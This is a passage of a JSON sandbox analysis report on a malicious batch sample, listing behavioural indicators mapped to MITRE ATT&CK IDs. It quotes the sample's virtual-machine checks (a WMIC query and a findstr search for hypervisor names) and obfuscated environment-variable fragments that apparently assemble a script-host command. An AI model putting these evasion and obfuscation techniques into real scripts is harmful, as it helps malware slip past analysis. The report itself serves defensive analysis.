\"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"The function \"%1\" failed unexpectedly. Error=%2!d!, GetLastError=%3!d!.\" (Indicator: \"GetLastError\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")\n Found reference to API \"The function: \"%1\" failed unexpectedly. GetLastError=%2!d!.\" (Indicator: \"GetLastError\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")\n Found reference to API \"GetLastError: %2!d!.%n\" (Indicator: \"GetLastError\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process WMIC.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:4456:120:WilError_01\"\n Process WMIC.exe created mutex with name \"SM0:4456:304:WilStaging_02\"\n Process WMIC.exe created mutex with name \"Local\\SM0:4456:304:WilStaging_02\"\n Process WMIC.exe created mutex with name \"Local\\SM0:4456:120:WilError_01\"\n Process WMIC.exe created mutex with name \"SM0:4456:120:WilError_01\"\n Process WMIC.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:4456:304:WilStaging_02\"\n Process WMIC.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4456:304:WilStaging_02\"\n Process WMIC.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4456:120:WilError_01\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin.bat\" \"\" (UID: 00000000-00004240)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"iepo@microsoft.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$2e","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2f","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WMIC.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 7AF20000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 8E850000\n \"findstr.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 8E850000\n \"WMIC.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 8E850000\n \"WMIC.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 8E140000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 900C0000\n \"findstr.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 900C0000\n \"WMIC.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 900C0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00bc00000040c7668ff97f0000@ntdll.dll\"\n \"22002300bc00000018c7668ff97f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$30","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\Wbem\\WMIC.exe\" [Source: 00000000-00004240-00000C47-2093990142]\n Observed system executable string:\"%WINDIR%\\system32\\findstr.exe\" [Source: 00000000-00004240-00000C47-2116816146]\n Observed system executable string:\"%WINDIR%\\System32\\wbem\\WMIC.exe\" [Source: 00000000-00004240-00000BC0-2344058201]\n Observed system executable string:\"%WINDIR%\\System32\\findstr.exe\" [Source: 00000000-00004240-00000BC0-2344067970]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"WMIC.exe\" (UID: 00000000-00004456) was launched with new environment variables: \"Xzub=\"w\", ZZ2fzZQ=\"n\", N9nqQc=\"t\", dFWT=\"e\", JxmOUE=\"go //e:\", amiW=\"vbscrip\", USERDNSDOMAIN=\"DESKTOP-FVVF82A\", wojXVkp=\"i\", mb5P=\"t\", WuPnI0=\"l\", OGsuo0=\"st\", jumH=\"ar\", ueWjjG=\"vmware virtualbox qemu xen parallels\", bbF1=\"d\", gDKS=\"//nolo\", dC3bXc=\"c\", yQCX=\"t\", unDpDYP=\"s\", ZdqoJU5=\"f\", Qmfo4=\"cscript\", Q6M3=\"m\", XIH9j=\"i\", UxQcmBW=\"d\", nUO4v=\"r\"\"\n Process \"WMIC.exe\" (UID: 00000000-00004456) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"WMIC.exe\" (UID: 00000000-00004456) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00004456-00000C2B-2345316110]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"findstr.exe\" with commandline \"findstr /i \"vmware virtualbox qemu xen parallels\"\" (UID: 00000000-00003824)\n Spawned process \"WMIC.exe\" with commandline \"wmic computersystem get manufacturer,model\" (UID: 00000000-00004456)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"findstr.exe\" with commandline \"findstr /i \"vmware virtualbox qemu xen parallels\"\" (UID: 00000000-00003824)\n Spawned process \"WMIC.exe\" with commandline \"wmic computersystem get manufacturer,model\" (UID: 00000000-00004456)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WMIC.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$31","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 4240)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$32","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\cmd.exe\"\n \"cmd.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"cmd.exe\" trying to touch file \"\\Device\\CNG\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\oleaut32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$33","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\AppLocker\\MDM\"\n \"WMIC.exe\" trying to access non-existent file \"C:\\Windows\\System32\\wbem\\WMIC.EXE.LOCAL\"\n \"WMIC.exe\" trying to access non-existent file \"C:\\WINDOWS\\System32\\Wbem\\WMIC.exe.Local\\\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"WMIC.exe\" writes file \"\\device\\namedpipe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"nslookup: WSAStartup:%0\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")\n Found reference to API \"Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8\" (Indicator: \"InternetConnect\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")\n Found reference to API \"Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")\n Found reference to API \"nslookup: WSAStartup:%0\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8\" (Indicator: \"InternetConnect\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"AppendData (or AddSubdirectory or CreatePipeInstance)\" (Indicator: \"CreatePipe\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"file/memory contains long string with (Indicator: \"smtp\"; File: \"4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin\")","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$35","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$36","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"Found URL \"http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan\" - Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00004456\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Remote Access Related","name":"Able to configure Windows Remote Management service","description":"$37","origin":"File/Memory","mitre_attack_id":"T1133","relevance":1,"id":"string-909","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$38","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyExW\" in \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"WMIC.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00004456)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$39","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"tasklist.exe\" [Source: 00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp]\n Observed string: \"tasklist.exe.mui\" [Source: 00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"WHERE SchemaOnly\" (Indicator: \"where \"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve list of files and subdirectories","description":"file/memory contains long string with (Indicator: \"\"dir \"; File: \"4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-328","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 